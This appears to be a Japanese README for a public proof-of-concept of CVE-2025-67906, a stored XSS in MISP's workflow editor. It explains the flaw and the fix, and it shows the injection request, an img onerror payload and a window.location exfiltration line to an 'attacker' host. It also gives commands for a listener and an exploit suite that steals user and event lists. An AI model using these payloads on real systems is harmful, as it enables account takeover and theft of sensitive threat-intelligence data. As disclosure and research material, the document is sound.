
MISP <= 2.5.27 - ワークフローエンジンを介した保存型クロスサイトスクリプティング (doT.js テンプレートインジェクション).
MISP <= 2.5.27 - ワークフローエンジンによるStored Cross-Site Scripting (doT.jsテンプレートインジェクション)
発見者: Franck FERMAN
CVE-2025-67906 (GCVE-1-2025-0031) は、MISP (Malware Information Sharing Platform) バージョン 2.5.27 以下におけるStored Cross-Site Scripting (XSS) 脆弱性です。
脆弱性は app/View/Elements/Workflows/executionPath.ctp、ワークフロー実行パス表示コンポーネントに存在します。ワークフロー・トリガーの name フィールドは、サーバーサイドでのサニタイズなしにデータベースに永続化され、その後 doT.js テンプレートエンジンによってHTMLエスケープなしでDOMにレンダリングされます。認証された攻撃者は、任意のHTML/JavaScriptを注入でき、それは脆弱性のあるワークフローを表示するユーザーのブラウザセッションで実行されます。
ペイロードはデータベースに保存され、ページが読み込まれるたびにレンダリングされるため、XSSは 永続的 です。ページのリフレッシュ後も持続し、複数のユーザーに影響し、ワークフローが明示的に削除されるまで持続します。
発見: 本脆弱性は、Franck FERMAN によって特定され、責任を持って開示されました。
本脆弱性には複数のCVSS評価が存在します。
スコアの乖離は、影響の深さに対する評価の違いを反映しています。NIST NVDスコア (9.0) は、XSSペイロードが被害者のセッション権限で実行されるため、完全な機密性、完全性、可用性への影響を考慮しており、管理者レベルのデータ漏洩やワークフロー操作を可能にします。CNAスコア (5.4) は、一般的なXSSとして限定されたC/I影響のみを考慮しています。GCVE CVSS 4.0スコア (7.1) は、攻撃要件(権限)と能動的なユーザー操作の修正子を導入しています。
スコープはすべての評価で Changed です。これは、攻撃者のペイロード(MISP APIを介して注入される)が異なるセキュリティコンテキスト(被害者のブラウザセッション)で実行されるためです。
MISPのワークフローエンジンは、認証されたユーザーがREST APIを介してワークフローの作成・編集を可能にします。ワークフローデータモデルには、name フィールドを持つ trigger コンポーネントが含まれています。このフィールドは:
doT.jsは高速なJavaScriptテンプレートエンジンです。補間には {{= }} を使用しますが、これはデフォルトでHTMLをエスケープしません。MISPワークフローエディタはdoT.jsを使用して、トリガーメタデータ(name フィールドを含む)をDOMにレンダリングします。name フィールドに `` のようなHTMLが含まれていると、テンプレートエンジンはそれを生のHTMLとして挿入し、ブラウザが埋め込まれたJavaScriptを実行します。
修正には以下が必要です:
{{! }}(HTMLエスケープを行う)への切り替えPOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
data JSONフィールド内の name 値がインジェクションポイントです。ワークフローグラフ全体は、リクエストボディ内のJSON文字列としてシリアル化されます。
この脆弱性は、クライアントサイドのテンプレートエンジン (doT.js) を使用してビジュアルなワークフローエディタをレンダリングするというアーキテクチャ上の選択によって増幅されます。ワークフローエディタはグラフィカルなドラッグ&ドロップインターフェースであり、各トリガー/アクションはビジュアルブロックとして表示されます。トリガーの name フィールドは、これらのグラフィカルブロック内のラベルとしてレンダリングされます。
doT.jsは、テンプレートからHTML文字列を生成し、DOMに挿入することでビジュアルコンポーネントを構築します。{{= }} 補間構文は エスケープされていない出力 を生成します。テンプレートに補間されるデータはすべて、テキストではなくマークアップとして扱われます。同じ name フィールドが element.textContent(入力がプレーンテキストとして扱われる)またはdoT.jsのエンコード出力構文 {{! }} を介してレンダリングされた場合、入力内容に関係なくXSSは発生しません。
攻撃面が存在するのは、まさに以下の理由によるものです:
{{= }}) を使用する。name フィールドに保存された任意の文字列がブラウザによってHTMLとして解釈される。これは、クライアントサイドのテンプレートエンジンを使用してインタラクティブなビジュアルインターフェースを構築するWebアプリケーションでよく見られる脆弱性パターンです。リッチなレンダリングの必要性が、テンプレートとそのデータソースとの間に暗黙の信頼関係を生み出し、テンプレートに到達するサニタイズされていないユーザー入力がすべて実行可能なコードになります。
<script> ではないのかテンプレート補間を介して注入された生の <script> タグは、通常このコンテキストでは実行されません。ブラウザは、最初のページ解析後にDOMに挿入された(innerHTML または同等の方法で)<script> 要素を実行しません。onerror、onload、onmouseover などのイベントハンドラ属性は、要素がどのように挿入されたかに関係なく、ブラウザが要素の属性を処理する際にインラインJavaScriptを起動するため、この制限を回避します。
<img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> ベクターが好まれる理由:
src="x" は即座に読み込み失敗を保証し、ユーザー操作なしで onerror をトリガーする。<script> タグをブロックするCSP script-src 制限をバイパスする。実行は非スクリプト要素上のイベントハンドラを介して行われるため。MISPインスタンスは通常、connect-src を制限するContent Security Policyヘッダーを配備し、fetch() や XMLHttpRequest の外部オリジンへの呼び出しを防ぎます。このPoCの漏洩ペイロードは、API呼び出しの代わりに window.location(ナビゲーション)を使用することでCSPをバイパスします。
// CSP connect-srcでブロックされる:
fetch('http://attacker/exfil?data=' + stolen_data); // CSP違反
// ブロックされない - ナビゲーションはCSPの対象外:
window.location = 'http://attacker/exfil?data=' + stolen_data; // 動作する
CSPには、ページがナビゲートできる場所を制御するディレクティブはありません。navigate-to ディレクティブはCSP Level 3で提案されましたが、どのブラウザにも実装されず、事実上放棄されています。これにより、window.location は、CSPポリシーに関係なく、XSSコンテキストからのデータ漏洩に対する信頼性の高いCSPバイパスとなります。
トレードオフとして、ナビゲーションは被害者に見える(ページが変わる)ことです。server/redirector.py は、即座にHTTP 302リダイレクトをMISPインスタンスに発行することでこれを軽減し、短い視覚的なフラッシュのみを生成します。被害者の視点からは、ページがリロードされたように見えます。
漏洩データフロー:
被害者ブラウザ 攻撃者 (redirector.py) MISP
| | |
|-- GET /exfil?data=<盗難データ> -->| |
| | [データをキャプチャ、表示]|
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ---------------------------------------->|
|<-- 通常のMISPページ ---------------------------------------------|
全ラウンドトリップは約100〜200msかかります。被害者にはせいぜいページのフラッシュが見えるだけです。
セキュリティ評価における一般的な誤解は、XSS脆弱性の実際の影響は限定的である(「単なるアラートボックス」)というものです。実際のレッドチーム演習では、Stored XSS、特にこのようなクリック不要で永続的なものは、攻撃者が被害者に何もクリックさせる必要がないため、高価値の発見となります。ペイロードはページがレンダリングされると自動的に発動します。
Stored XSSが実際に可能にすること:
HttpOnly とマークされていない場合、攻撃者は管理者セッションCookieを盗み、アカウントを乗っ取ります。HttpOnly であっても、DOMやAPIレスポンスで公開されるセッショントークンを抽出できます。document.body.innerHTML や対象を絞ったDOMクエリで読み取り可能です。CSPが発信リクエスト(connect-src、script-src)を制限する場合、漏洩ベクターは適応します。このPoCで示されている window.location ナビゲーションバイパスがその例です。CSPはハードルを上げますが、リスクを排除するわけではありません。HttpOnly がCookieの盗難を防ぐ場合、攻撃者は認証されたセッションで直接見えるデータのDOMベースの漏洩に軸足を移します。
ペンテスト/レッドチームのコンテキストでは、MISPのようなプラットフォーム(脅威インテリジェンス、IOC、組織データを集約する)でのStored XSSは特に重要です。管理者セッションを通じてアクセス可能なデータ自体が高い機密性を持ちます。インジケータ・オブ・コンプロマイズ、内部調査の詳細、共有グループのメンバーシップ、組織間の信頼関係などです。
1. 攻撃者がMISPに認証(ワークフロー作成権限を持つ任意のロール)
|
2. POST /workflows/add -> 新しいワークフローを作成、workflow_id + trigger_id を受け取る
|
3. POST /workflows/edit/{id} -> トリガーの "name" フィールドにHTML/JSペイロードを注入
| ペイロード: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. ペイロードがMISPデータベースに永続化
|
5. 被害者(認証された任意のユーザー)が /workflows/view/{id} にアクセス
|
6. doT.jsがトリガー名を生のHTMLとしてレンダリング -> ブラウザがJavaScriptを実行
|
7. 影響はペイロードモードに依存:
- alert() 実行確認
- セッションハイジャック セッションCookieを盗む
- データ漏洩 管理ページからユーザー、イベント、APIキーを抽出
- 認証情報の窃取 偽のログインフォームを注入
| ソフトウェア | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
修正は MISP v2.5.28 に含まれています。関連パッチコミット: 1f39deb。
poc_alert_cve_2025_67906.py # シンプルなPoC - alert() 確認(約200行)
poc_exfiltrate_cve_2025_67906.py # シンプルなPoC - データ漏洩デモ(約150行)
cve_2025_67906.py # 完全なエクスプロイトスイート - 7モード、カスタムペイロード
server/
redirector.py # 透過的な302リダイレクト付き漏洩リスナー
poc_alert_cve_2025_67906.py: 最小限で読みやすい。alert() を注入してXSSを確認。これを最初に読んでください。poc_exfiltrate_cve_2025_67906.py: 最小限の漏洩デモ。被害者のメール/URLをキャプチャし、攻撃者サーバーに送信。cve_2025_67906.py: 7つのペイロードモード、カスタムペイロードサポート、クワイエットモードを備えた完全なエクスプロイトスイート。server/redirector.py: 漏洩データをキャプチャし、被害者を透過的にMISPにリダイレクトするHTTPサーバー。Python 3(標準ライブラリのみ、外部依存関係なし)。
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
無害な alert() で脆弱性の存在を確認:
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY
スクリプトが出力するURLにアクセスしてください。アラートボックスが表示されればXSSの実行が確認できます。
# ターミナル1: 漏洩リスナーを起動
python3 server/redirector.py https://misp.target.org --port 8000
# ターミナル2: ペイロードを注入
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000
被害者がワークフローURLにアクセスすると、そのメール、ユーザー名、ページURLがリスナーによってキャプチャされます。
# アラートモード(デフォルト)
python3 cve_2025_67906.py https://misp.target.org API_KEY
# 管理ページからユーザーリストを抽出
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_users --attacker YOUR_IP:8000
# イベントリストを抽出
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50
# カスタムペイロード
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--payload ''
# クワイエットモード(最小出力)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet
{{= }}(生)から {{! }}(HTMLエンコード)に切り替え、ユーザー提供フィールドに対して行うname フィールドのサニタイズ(データベース挿入前にHTMLタグを除去、エンティティをエンコード)このツールは、許可されたセキュリティ監査、学術研究、および教育目的のみ で提供されます。システム所有者からの明示的な書面による許可なくシステムに対して使用することは違法です。著者は、不正または悪意のある使用について一切の責任を負いません。
| ソース | スコア | 深刻度 | ベクター |
|---|
| NIST NVD | 9.0 | Critical | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | High | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | Medium | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| モード | 影響 | 必要条件 |
|---|
alert | XSS実行を確認 | 任意のユーザーがワークフローを表示 |
alert_info | 被害者のメールとURLを表示 | 任意のユーザーがワークフローを表示 |
console_info | ユーザーのメール、ロール、URLをDevToolsに記録 | 任意のユーザーがワークフローを表示 |
exfiltrate_users | /admin/users/index からユーザーリスト(ID、組織、ロール、メール)を抽出 | 管理者がワークフローを表示 + 攻撃者リスナー |
exfiltrate_page | 現在のページコンテンツとユーザーIDをキャプチャ | 任意のユーザーがワークフローを表示 + 攻撃者リスナー |
exfiltrate_events | イベントリスト(ID、組織、日付、TLP、情報)を抽出 | 任意のユーザーがワークフローを表示 + 攻撃者リスナー |
| ID | 戦術 | 技法 | 関連性 |
|---|
| T1059.007 | Execution | JavaScript | XSSペイロードが被害者のブラウザでJavaScriptを実行する |
| T1189 | Initial Access | ドライブバイコンプロミス | 保存されたペイロードがページ訪問時にトリガーされる |
| T1557 | Collection | ブラウザ内中間者 | ペイロードが被害者の認証セッション内で動作する |
| T1539 | Credential Access | WebセッションCookieの窃取 | HttpOnlyが設定されていない場合、セッションCookieにアクセス可能 |
| T1005 | Collection | ローカルシステムからのデータ | ユーザーリスト、イベント、ページコンテンツの漏洩 |
| モード | 説明 |
|---|
alert | シンプルなアラートボックス(デフォルト、デモに安全) |
alert_info | 被害者のURL、メール、ユーザーエージェントを表示するアラートボックス |
console | Console.logによる確認 |
console_info | ユーザーのメール、ロール、URLをDevToolsコンソールに記録 |
exfiltrate_users | /admin/users/index からユーザーリストを抽出(管理者被害者が必要) |
exfiltrate_page | 現在のページコンテンツとユーザーIDをキャプチャ |
exfiltrate_events | ID、組織、日付、TLP、情報を含むイベントリストを抽出 |